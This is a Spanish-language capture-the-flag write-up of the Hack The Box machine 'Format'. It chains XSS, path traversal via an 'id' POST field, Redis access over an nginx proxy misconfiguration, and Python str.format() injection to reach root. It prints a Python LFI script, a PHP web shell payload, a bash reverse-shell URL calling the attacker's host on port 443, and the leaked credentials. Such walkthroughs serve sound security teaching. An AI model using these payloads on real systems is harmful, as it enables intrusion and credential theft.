Hack The Box: Format Writeup | Medium

Table of Contents

Hack The Box: Format Writeup

Welcome to my detailed writeup of the medium difficulty machine “Format” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.229.3 --ulimit 5000 -g
210.129.229.3 -> [22,80,3000]
 1$ nmap -p22,80,3000 -sCV 10.129.229.3 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 19:10 CEST
 3Nmap scan report for 10.129.229.3
 4Host is up (0.037s latency).
 5
 6PORT     STATE SERVICE VERSION
 722/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
10|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
11|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
1280/tcp   open  http    nginx 1.18.0
13|_http-title: Site doesn't have a title (text/html).
14|_http-server-header: nginx/1.18.0
153000/tcp open  http    nginx 1.18.0
16|_http-title: Did not follow redirect to http://microblog.htb:3000/
17|_http-server-header: nginx/1.18.0
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21Nmap done: 1 IP address (1 host up) scanned in 14.09 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU -n -Pn --min-rate 5000 10.129.229.3 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 19:11 CEST
 3Nmap scan report for 10.129.229.3
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 71053/udp  closed remote-as
 81434/udp  closed ms-sql-m
 93389/udp  closed ms-wbt-server
1017674/udp closed unknown
1122417/udp closed unknown
1225538/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Del escaneo inicial encontramos el dominio microblog.htb, lo añadimos al /etc/hosts

No hay otros vectores de entrada, por lo cual la intrusión debe de acontecerse a través de alguno de los servicios web.

HTTP Enumeration -> 80

Vamos a empezar enumerando el puerto 80/TCP.

whatweb nos reporta que se acontece una redirección al subdominio app.microblog.htb si intentamos acceder al puerto 80/TCP utilizando la IP de la máquina. Existen respuestas distintas por lo cual se está aconteciendo Virtual Hosting por detrás, puede significar que existen mas subdominios.

1$ whatweb http://10.129.229.3
2http://10.129.229.3 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.129.229.3], Meta-Refresh-Redirect[http://app.microblog.htb], nginx[1.18.0]
3ERROR Opening: http://app.microblog.htb - no address for app.microblog.htb
4┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/format]
5└──╼ [★]$ ^C
6┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/format]
7└──╼ [★]$ whatweb http://microblog.htb
8http://microblog.htb [404 Not Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.129.229.3], Title[404 Not Found], nginx[1.18.0]

Así se ve el sitio web. Write-up Image

Encontramos un apartado donde se está reflejando como si se tuvieran varios subdominios por detrás, 15 para ser exactos. Write-up Image

Después de fuzzear con wfuzz los 15 subdominios para el servicio web del puerto 80/TCP y 3000/TCP, no encontré nada interesante.

Podemos crearnos una cuenta. Write-up Image

Multiple XSS

Parece que nos da la opción de crear un blog bajo un subdominio. Write-up Image

Podemos ver que se crean. Write-up Image

Podemos editar el texto. Write-up Image

Se acontece un XSS al insertar código Javascript en el h1. Write-up Image

Ocurre otro XSS si lo insertamos en el texto. Write-up Image

No podemos enviar nada a nadie por ahora, así que no podemos realizar un ataque de tipo Cookie Hijacking por ejemplo.

La cookie que alberga la sesión es esta, parece que es el número de usuario encriptado o una especie de ID de usuario. Write-up Image

HTTP Enumeration -> 3000

En el puerto 3000 encontramos una instancia de Gitea, no podemos crearnos una cuenta. Write-up Image

Encontramos un repositorio de un usuario llamado cooper que alberga el proyecto encontrado anteriormente Write-up Image

Analizando el código vemos que se está utilizando una base de datos Redis detrás. Write-up Image

Tenemos esta función addSite($site_name)

 1function addSite($site_name) {
 2    if(isset($_SESSION['username'])) {
 3        //check if site already exists
 4        $scan = glob('/var/www/microblog/*', GLOB_ONLYDIR);
 5        $taken_sites = array();
 6        foreach($scan as $site) {
 7            array_push($taken_sites, substr($site, strrpos($site, '/') + 1));
 8        }
 9        if(in_array($site_name, $taken_sites)) {
10            header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");
11            exit;
12        }
13        $redis = new Redis();
14        $redis->connect('/var/run/redis/redis.sock');
15	$redis->LPUSH($_SESSION['username'] . ":sites", $site_name);
16        $tmp_dir = "/tmp/" . generateRandomString(7);
17        system("mkdir -m 0700 " . $tmp_dir);
18        system("cp -r /var/www/microblog-template/* " . $tmp_dir);
19        system("chmod 500 " . $tmp_dir);
20        system("chmod +w /var/www/microblog");
21        system("cp -rp " . $tmp_dir . " /var/www/microblog/" . $site_name);
22	system("chmod -w microblog");
23	system ("chmod -R +w " . $tmp_dir);
24	system("rm -r " . $tmp_dir);
25        header("Location: /dashboard?message=Site added successfully!&status=success");
26    }
27    else {
28        header("Location: /dashboard?message=Site not added, authentication failed&status=fail");
29    }
30}

Podemos analizar el recurso index.php del directorio edit de la plantilla a ver que encontramos. Write-up Image

La función que mas me llama la atención es provisionProUser()

 1function provisionProUser() {
 2    if(isPro() === "true") {
 3        $blogName = trim(urldecode(getBlogName()));
 4        system("chmod +w /var/www/microblog/" . $blogName);
 5        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
 6        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
 7        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
 8        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
 9    }
10    return;
11}

Si consiguiéramos llamar a esta función y controlásemos el nombre del blog, podríamos inyectar un comando a nivel de sistema.

Local File Inclusion

Al seguir enumerando me di cuenta de que al agregar un texto o un encabezado, escribe el texto en ../content/order.txt Write-up Image Vemos la siguiente línea $post_file = fopen("{$_POST['id']}", "w");

La función fopen abre un archivo. El primer argumento es el nombre del archivo que se desea abrir, que en este caso es el valor de $_POST['id']. El segundo argumento "w" indica que el archivo se abre en modo de escritura (write). Si el archivo no existe, fopen intentará crearlo; si ya existe, truncará su contenido, es decir, borrará cualquier contenido anterior.

Por lo cual podríamos intentar leer un archivo no autorizado ya que nosotros controlamos el parámetro id

Al intentar editar nuestro blog nos encontramos lo siguiente. Write-up Image

¿De donde ha salido este id?

Vemos que estaba hardcodeado en el código. Write-up Image

Vemos que esto funciona, por detrás se carga el archivo y se guarda la ruta en orders.txt, acto seguido la carga por lo cual tenemos un LFI. Write-up Image

Podemos comprobar el valor de order.txt de nuestro blog vemos que está el Path Traversal / Local File Inclusion ahí.

1$ curl http://test.microblog.htb/content/order.txt
2hm5yhgl36el
3../../../../../../../../../etc/passwd

Hay que tener en cuenta de que se intenta crear el archivo con el nombre, por lo cual podríamos intentar crear un archivo con la extensión PHP (ya que controlamos el nombre de archivo completamente) para intentar insertar contenido malicioso e intentar ejecutar comandos a nivel de sistema. No funciona

Para ello voy a crear un pequeño script en Python para automatizar esta vulnerabilidad.

Se que puede estar mas resumido y me he comido mucho la cabeza pero existe un problema, y es que si se mostrase el output en forma de HTML no habría problema sin embargo se muestra dentro de un script en Javascript, por lo cual habría que usar Selenium por ejemplo para renderizar la página y a partir de ahí utilizar el arbol DOM generado para filtrar por el contenido.

Pero como no tengo Selenium y no quería instalarlo lo quería hacer con simples expresiones regulares.

Script:

 1#!/usr/bin/python3
 2import requests
 3import signal
 4import re
 5
 6SUBDOMAIN_URL="http://test.microblog.htb/"
 7URL = "http://test.microblog.htb/edit/index.php"
 8FILE_URL = "http://test.microblog.htb/content/order.txt"
 9USERNAME_COOKIE = "97vle27go9t2gt324n5dqre1n7"
10
11def def_handler(x,y):
12    print("\n[i] Saliendo...")
13    exit(1)
14
15signal.signal(signal.SIGINT, def_handler)
16
17def set_file(file_name):
18    cookies = {"username": USERNAME_COOKIE}
19    data = {"id": file_name, "header": "test"}
20    r = requests.post(URL, cookies=cookies, data=data)
21    
22def lfi(file_name):
23    set_file(file_name)
24    r = requests.get(FILE_URL)
25    # Comprobar que el archivoe está en /content/order.txt
26    if file_name in r.text:
27        r = requests.get(SUBDOMAIN_URL)
28        content = r.content.decode("utf-8")
29        name = get_regexp(file_name)
30        pos = content.find(name)
31        end_pattern = "<\\/div>"
32        segment = content[pos:]
33        final_pos_in_segment = segment.find(end_pattern)
34        final_pos = pos + final_pos_in_segment + len(end_pattern)
35        print(content[pos:final_pos])
36    else:
37        print("[x] No se ha encontrado el archivo, revisa que no se haya borrado el blog")
38        exit(1)
39
40def get_regexp(file_name):
41    file = file_name.replace("../", "")
42    striped_file = file.strip("/").split("/")
43    final_name = ""
44    i = 0
45    for s in striped_file:
46        final_name += s + "\\/"
47    return final_name[:-1] + "\">"
48    
49if __name__ == "__main__":
50    while True:
51        name = input("Archivo: ")
52        lfi(name)

Output:

1$ python3 poc.py 
2Archivo: ../../../../../../etc/hostname
3etc\/hostname\">format\n<\/div>
4Archivo: 

Al intentar cargar el archivo PHP no funcionaba porque me descargaba el archivo directamente en vez de interpretarlo, en este momento decidí revisar la configuración de nginx para ver como estaba montado esto por detrás.

Interacting with Redis Database

Al revisar el archivo ../../../../../../../etc/nginx/sites-enabled/default

Encontramos lo siguiente que me pareció interesante ya que si intentamos cargar un recurso /static/1/2 se convertirá en http://1.microbucket.htb/2. Write-up Image

Ahora recordemos la forma en la que la aplicación se conecta a la base de datos Redis.

1$redis = new Redis();
2    $redis->connect('/var/run/redis/redis.sock');

Se conecta al socket donde se encuentra redis alojado.

Es decir, si internamente podamos dar con http://unix:/var/run/redis/redis.sock:TEST.microbucket.htb/2 por ejemplo, mandaremos una solicitud al socket donde se encuentra redis y como en redis se suele poder acceder sin necesidad de autenticación significa que podemos controlar la base de datos de la aplicación y por ende podríamos asignarnos el VIP que hemos visto antes e intentar explotar la inyección de comandos que hemos visto anteriormente.

Sinceramente para ser una máquina de dificultad intermedia me parece un poco rebuscado, pero podemos intentarlo.

Antes de nada vamos a comprobar nuestra teoría.

Vamos a intentar modificar nuestro nombre de usuario a pwned

Después de un rato y de ver una pista me di cuenta de que el método hacía que no fuera posible comunicarse con la instancia de Redis.

Si usamos el método HSET que corresponde al comando en Redis, podemos settear el valor a un campo especifico dentro de un campo.

Es decir, en redis redis> HSET myhash field1 "Hello" lo que hacemos es asignar en myhash al campo field1 el valor Hello

Si revisamos el código encontramos las siguiente líneas.

1$redis->HSET(trim($_POST['username']), "username", trim($_POST['username']));
2        $redis->HSET(trim($_POST['username']), "password", trim($_POST['password']));
3        $redis->HSET(trim($_POST['username']), "first-name", trim($_POST['first-name']));
4        $redis->HSET(trim($_POST['username']), "last-name", trim($_POST['last-name']));
5        $redis->HSET(trim($_POST['username']), "pro", "false"); //not ready yet, license keys coming soon
6        $_SESSION['username'] = trim($_POST['username']);
7        header("Location: /dashboard?message=Registration successful!&status=success");

Vamos a modificar el campo first-name ya que en los blogs que creamos se refleja este campo.

1if(siteOwner.length > 0) {
2            $(".your-blog").css("display", "flex");
3            $(".user-first-name").text(<?php echo getFirstName(); ?>);
4        }

Entonces vamos a modificar first-name del usuario pointed para que valga pwned

Esto sería hacer HSET pointed first-name "pwned"

Vamos a probar. Importante cambiar el método a HSET ya que nos estamos comunicando directamente con el Socket de Redis y esto es para que entienda la solicitud. Write-up Image

Ahora si accedemos a nuestro blog… Write-up Image

Vamos a asignarnos el VIP. Write-up Image

Y conseguimos el VIP. Esto me ha parecido demasiado complicado para una máquina de dificultad media.. Write-up Image

RCE -> Foothold

Ahora siendo VIP podemos volver atrás y vemos que según la función privisonProUser() ahora se debe de haber creado un directorio /uploads y además deberíamos de tener permisos de escritura.

Nos podríamos aprovechar de la vulnerabilidad encontrada anteriormente para intentar crear un archivo PHP en esa ruta a ver si esta vez se interpreta en vez de descargarse. Write-up Image

POST /edit/index.php Write-up Image

¡Y funciona! Write-up Image

Creamos una pequeña web shell. Write-up Image

id=../uploads/test.php&header=<?php+echo+"<pre>"+.+shell_exec($_GET["cmd"])+.+"</pre>";?>

Y conseguimos ejecución remota de comandos. Write-up Image

Ahora para mandarnos la consola, nos ponemos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443

Ahora al acceder a http://test.microblog.htb/uploads/test.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.73/443%200%3E%261%22

Conseguimos la consola.

1(remote) www-data@format:/var/www/microblog/test/uploads$ whoami
2www-data

User Pivoting

Encontramos los usuarios cooper y git en el sistema.

1(remote) www-data@format:/var$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3cooper:x:1000:1000::/home/cooper:/bin/bash
4git:x:104:111:Git Version Control,,,:/home/git:/bin/bash

Ahora podemos intentar ver la base de datos de Redis e intentar crackear los hashes de los usuarios que nos encontremos.

Además justo se ejecutó el script que esta máquina tiene por detrás para limpiar la base de datos de Redis, así que me viene perfecto para poder enumerar lo que estaba originalmente.

1(remote) www-data@format:/var$ redis-cli -s /var/run/redis/redis.sock 
2redis /var/run/redis/redis.sock> keys *
31) "cooper.dooper"
42) "cooper.dooper:sites"

Vemos que cooper.dooper tiene de contraseña zooperdoopercooper, ni hasheada ni nada…

 1redis /var/run/redis/redis.sock> HGETALL cooper.dooper
 2 1) "username"
 3 2) "cooper.dooper"
 4 3) "password"
 5 4) "zooperdoopercooper"
 6 5) "first-name"
 7 6) "Cooper"
 8 7) "last-name"
 9 8) "Dooper"
10 9) "pro"
1110) "false"

Ahora podemos migrar de usuario

1(remote) www-data@format:/var$ su cooper
2Password: 
3cooper@format:/var$ 

Podemos leer la flag de usuario.

1cooper@format:~$ cat user.txt 
2b19c37fb3a5040...

Privilege Escalation

Podemos ejecutar como root el binario /usr/bin/license

1cooper@format:~$ sudo -l
2[sudo] password for cooper: 
3Matching Defaults entries for cooper on format:
4    env_reset, mail_badpass,
5    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
6
7User cooper may run the following commands on format:
8    (root) /usr/bin/license

Vemos que no es un binario si no un script en Python

1cooper@format:~$ file /usr/bin/license
2/usr/bin/license: Python script, ASCII text executable

Vemos que carga el contenido de /root/license/secret y utilizando una función de derivación de clave (KDF), deriva una clave de cifrado a partir del secreto y un salt predefinido. La clave resultante se codifica en base64 para su uso en criptografía o almacenamiento seguro.

1secret = [line.strip() for line in open("/root/license/secret")][0]
2secret_encoded = secret.encode()
3salt = b'microblogsalt123'
4kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
5encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

Investigando y por el nombre de la máquina encontré esta publicación donde se explica una vulnerabilidad por la cual podemos filtrar datos en tiempo de ejecución accediendo a los atributos de otros objetos que no deberíamos.

Todo esto ocurre en la función format de los strings. Write-up Image

En el código vemos que solo hay una coincidencia.

1prefix = "microblog"
2    username = r.hget(args.provision, "username").decode()
3    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
4    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
5    print("")
6    print("Plaintext license key:")
7    print("------------------------------------------------------")
8    print(license_key)

Los usuarios provisionados son los que ya tienen una entrada en /root/license/keys

1existing_keys = open("/root/license/keys", "r")
2    all_keys = existing_keys.readlines()
3    for user_key in all_keys:
4        if(user_key.split(":")[0] == args.provision):
5            print("")
6            print("License key has already been provisioned for this user")
7            print("")
8            sys.exit()

El primer paso es crear un usuario no provisionado, creamos un usuario a través del sitio web.

1cooper@format:/usr/bin$ redis-cli -s /var/run/redis/redis.sock
2redis /var/run/redis/redis.sock> keys *
31) "pointed"
42) "cooper.dooper"
53) "PHPREDIS_SESSION:97vle27go9t2gt324n5dqre1n7"
64) "cooper.dooper:sites"

Le podemos provisionar ahora y vemos que funciona.

1cooper@format:/usr/bin$ sudo /usr/bin/license -p pointed
2
3Plaintext license key:
4------------------------------------------------------
5microblogpointed3u6jc"D]GQ"5Of@iNd'j'6&~>+Xa@~C;:&JW4y1Ppointedpointed
6
7Encrypted license key (distribute to customer):
8------------------------------------------------------
9gAAAAABm2KSrLZ4-8N7h12sTktgCH_tcMFYStC1_4C9GV9ssRC2DsbFCta7zs5cScBclfOJxLvWiSHB-qXxftcnyUOYvoiynkpXt5ifmibRVyuVkJb8YPAfozSU2PDoY9v308Szz10Pcglz_m9TGJ4LzA-iebZnf_XfVFEie0reV7Gngq0EZqqQ=

Y vemos una cosa de la cual sabiendo la vulnerabilidad en format nos podemos aprovechar.

Vemos que se refleja el nombre del usuario, podríamos modificar el firstlast e intentar leer el secret ya que esta variable ya está definida en tiempo de ejecución.

1license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)

Creamos un usuario test y ahora podríamos seguir el artículo anterior y siguiendo el formato {people_obj.__init__.__globals__[CONFIG][KEY]} podríamos acceder al objeto license y a través del __init__ podríamos acceder a la variable secret_encoded que en principio contiene la clave de encriptación en texto plano.

Ahora cambiamos el campo first-name del usuario test para llevar a cabo esta explotación.

redis /var/run/redis/redis.sock> HSET test first-name {license.__init__.__globals__[secret_encoded]}
(integer) 0

Vemos que se ha actualizado correctamente.

redis /var/run/redis/redis.sock> HGETALL test
 1) "username"
 2) "test"
 3) "password"
 4) "test"
 5) "first-name"
 6) "{license.__init__.__globals__[secret_encoded]}"
 7) "last-name"
 8) "test"
 9) "pro"
10) "false"
1cooper@format:/usr/bin$ sudo /usr/bin/license -p test
2
3Plaintext license key:
4------------------------------------------------------
5microblogtestPI~{?|n>347`([oiD%]]}+TmLI7):-Yyi|_s)v6Nb'unCR4ckaBL3Pa$$w0rd'test
6
7Encrypted license key (distribute to customer):
8------------------------------------------------------
9gAAAAABm2Kd0vioajxidv-Ha77lwDvdWwKcUaS_QJVpmY1Lk9LMoKbEH_d5Hy8rD3uB1i_3Wm_GUp0iaIb9Dwa6iX98Vg57Bwq_qhtPy7LpQwMT0dAlqTBHb27AefkNHkjSImC7Puhd4Cp06MPhodX19OJHH8ZOfrQ8ttRuK4v-cnQCdFDj5S1A=

Y donde tendría que haberse escrito testtest se ha escrito 'unCR4ckaBL3Pa$$w0rd'test, así que unCR4ckaBL3Pa$$w0rd es el secret que se usa para encriptar la licencia.

Ahora podemos migrar al usuario root con esta clave.

 1cooper@format:/usr/bin$ ssh root@127.0.0.1
 2The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
 3ECDSA key fingerprint is SHA256:5g/lIE6E8fQVRIJhCTQ/l6jE2Sh56FYGSFi4iLbQQko.
 4Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 5Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
 6root@127.0.0.1's password: 
 7Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
 8
 9The programs included with the Debian GNU/Linux system are free software;
10the exact distribution terms for each program are described in the
11individual files in /usr/share/doc/*/copyright.
12
13Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
14permitted by applicable law.
15Last login: Tue May 23 18:43:13 2023 from 10.10.14.41
16root@format:~# id
17uid=0(root) gid=0(root) groups=0(root)

Podemos leer la flag de root

1root@format:~# cat root.txt 
2b7483a6a2fbd...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Format   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #XSS   #Reflected XSS   #Gitea Enumeration   #PHP Code Analysis   #Local File Inclusion   #Directory Path Traversal   #Read/Write File Exploit   #Nginx Misconfiguration   #Abusing Storing Passwords in Plaintext   #User Pivoting   #Abusing Sudo Custom Script   #Abusing Str.format()   #Read Internal File